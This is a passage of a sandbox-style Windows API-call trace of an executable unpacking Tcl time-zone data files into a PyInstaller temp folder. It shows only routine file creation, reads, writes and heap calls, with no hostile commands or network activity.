nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0038.402] htonl (hostlong=0xfb1a0000) returned 0x1afb [0038.402] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1afb) returned 0x560088 [0038.402] htonl (hostlong=0x5a050000) returned 0x55a [0038.402] htonl (hostlong=0xfb1a0000) returned 0x1afb [0038.402] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x561b90 [0038.402] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561b90 | out: hHeap=0x530000) returned 1 [0038.402] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0038.402] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0038.402] CloseHandle (hObject=0x10c) returned 1 [0038.402] GetLastError () returned 0x0 [0038.402] SetLastError (dwErrCode=0x0) [0038.402] GetLastError () returned 0x0 [0038.402] SetLastError (dwErrCode=0x0) [0038.403] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0038.403] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.403] GetFileType (hFile=0x10c) returned 0x1 [0038.403] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.403] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.403] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.403] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.403] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.403] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.403] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.403] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.403] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.403] CloseHandle (hObject=0x10c) returned 1 [0038.403] GetLastError () returned 0x0 [0038.403] SetLastError (dwErrCode=0x0) [0038.403] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0038.403] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.403] GetFileType (hFile=0x10c) returned 0x1 [0038.403] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.403] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.403] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.403] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.403] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.404] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.404] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.404] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.404] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.404] CloseHandle (hObject=0x10c) returned 1 [0038.404] GetLastError () returned 0x0 [0038.404] SetLastError (dwErrCode=0x0) [0038.404] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America") returned 64 [0038.404] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.404] GetFileType (hFile=0x10c) returned 0x1 [0038.404] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.404] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.404] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.404] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.404] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.404] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.404] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.404] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.404] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.404] CloseHandle (hObject=0x10c) returned 1 [0038.404] GetLastError () returned 0x0 [0038.404] SetLastError (dwErrCode=0x0) [0038.405] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Araguaina") returned 74 [0038.405] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Araguaina" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america\\araguaina"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0038.405] GetLastError () returned 0x2 [0038.405] SetLastError (dwErrCode=0x2) [0038.405] GetLastError () returned 0x2 [0038.405] SetLastError (dwErrCode=0x2) [0038.405] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Araguaina", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Araguaina", lpFilePart=0x0) returned 0x49 [0038.405] GetLastError () returned 0x2 [0038.405] SetLastError (dwErrCode=0x2) [0038.405] GetLastError () returned 0x2 [0038.405] SetLastError (dwErrCode=0x2) [0038.405] GetLastError () returned 0x2 [0038.405] SetLastError (dwErrCode=0x2) [0038.405] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Araguaina") returned 74 [0038.405] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0038.405] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Araguaina" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america\\araguaina"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0038.407] GetFileType (hFile=0x10c) returned 0x1 [0038.407] htonl (hostlong=0xfb1a0000) returned 0x1afb [0038.407] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x4fcd00, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd00*=0x1000, lpOverlapped=0x0) returned 1 [0038.408] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0038.408] WriteFile (in: hFile=0x10c, lpBuffer=0x55d270*, nNumberOfBytesToWrite=0xafb, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesWritten=0x4fcd6c*=0xafb, lpOverlapped=0x0) returned 1 [0038.408] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0038.408] CloseHandle (hObject=0x10c) returned 1 [0038.409] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0038.410] htonl (hostlong=0x30000000) returned 0x30 [0038.410] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0038.410] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0038.410] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0038.410] GetFileType (hFile=0x10c) returned 0x1 [0038.410] htonl (hostlong=0x45805800) returned 0x588045 [0038.410] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5d3045, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0038.410] htonl (hostlong=0x2020000) returned 0x202 [0038.410] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x202) returned 0x550600 [0038.410] htonl (hostlong=0x2020000) returned 0x202 [0038.410] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0038.410] ReadFile (in: hFile=0x10c, lpBuffer=0x55d270, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0038.410] htonl (hostlong=0xda070000) returned 0x7da [0038.410] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x7da) returned 0x55e278 [0038.410] htonl (hostlong=0x2020000) returned 0x202 [0038.410] htonl (hostlong=0xda070000) returned 0x7da [0038.410] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x560088 [0038.411] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0038.411] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0038.411] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0038.411] CloseHandle (hObject=0x10c) returned 1 [0038.411] GetLastError () returned 0x0 [0038.411] SetLastError (dwErrCode=0x0) [0038.411] GetLastError () returned 0x0 [0038.411] SetLastError (dwErrCode=0x0) [0038.411] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0038.411] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.412] GetFileType (hFile=0x10c) returned 0x1 [0038.412] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.412] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.412] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.412] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.412] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.412] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.412] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.412] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.412] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.412] CloseHandle (hObject=0x10c) returned 1 [0038.412] GetLastError () returned 0x0 [0038.412] SetLastError (dwErrCode=0x0) [0038.412] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0038.412] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.412] GetFileType (hFile=0x10c) returned 0x1 [0038.412] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.412] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.412] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.412] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.412] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.412] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.413] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.413] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.413] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.413] CloseHandle (hObject=0x10c) returned 1 [0038.413] GetLastError () returned 0x0 [0038.413] SetLastError (dwErrCode=0x0) [0038.413] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America") returned 64 [0038.413] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.413] GetFileType (hFile=0x10c) returned 0x1 [0038.413] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.413] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.413] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.413] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.413] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.413] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.413] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.413] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.413] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.413] CloseHandle (hObject=0x10c) returned 1 [0038.413] GetLastError () returned 0x0 [0038.413] SetLastError (dwErrCode=0x0) [0038.413] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Argentina") returned 74 [0038.413] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Argentina" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america\\argentina"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0038.414] GetLastError () returned 0x2 [0038.414] SetLastError (dwErrCode=0x2) [0038.414] GetLastError () returned 0x2 [0038.414] SetLastError (dwErrCode=0x2) [0038.414] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Argentina", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Argentina", lpFilePart=0x0) returned 0x49 [0038.414] GetLastError () returned 0x2 [0038.414] SetLastError (dwErrCode=0x2) [0038.414] GetLastError () returned 0x2 [0038.414] SetLastError (dwErrCode=0x2) [0038.414] GetLastError () returned 0x2 [0038.414] SetLastError (dwErrCode=0x2) [0038.414] CreateDirectoryW (lpPathName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Argentina" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america\\argentina"), lpSecurityAttributes=0x0) returned 1 [0038.414] GetLastError () returned 0x2 [0038.414] SetLastError (dwErrCode=0x2) [0038.414] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Argentina\\Buenos_Aires") returned 87 [0038.414] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Argentina\\Buenos_Aires" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america\\argentina\\buenos_aires"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0038.414] GetLastError () returned 0x2 [0038.414] SetLastError (dwErrCode=0x2) [0038.414] GetLastError () returned 0x2 [0038.414] SetLastError (dwErrCode=0x2) [0038.414] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Argentina\\Buenos_Aires", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Argentina\\Buenos_Aires", lpFilePart=0x0) returned 0x56 [0038.414] GetLastError () returned 0x2 [0038.414] SetLastError (dwErrCode=0x2) [0038.414] GetLastError () returned 0x2 [0038.414] SetLastError (dwErrCode=0x2) [0038.415] GetLastError () returned 0x2 [0038.415] SetLastError (dwErrCode=0x2) [0038.415] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Argentina\\Buenos_Aires") returned 87 [0038.415] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0038.415] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Argentina\\Buenos_Aires" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america\\argentina\\buenos_aires"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0038.415] GetFileType (hFile=0x10c) returned 0x1 [0038.415] htonl (hostlong=0xda070000) returned 0x7da [0038.415] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0038.415] WriteFile (in: hFile=0x10c, lpBuffer=0x55d270*, nNumberOfBytesToWrite=0x7da, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesWritten=0x4fcd6c*=0x7da, lpOverlapped=0x0) returned 1 [0038.416] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0038.416] CloseHandle (hObject=0x10c) returned 1 [0038.417] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55e278 | out: hHeap=0x530000) returned 1 [0038.417] htonl (hostlong=0x40000000) returned 0x40 [0038.417] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0038.417] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0038.417] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, 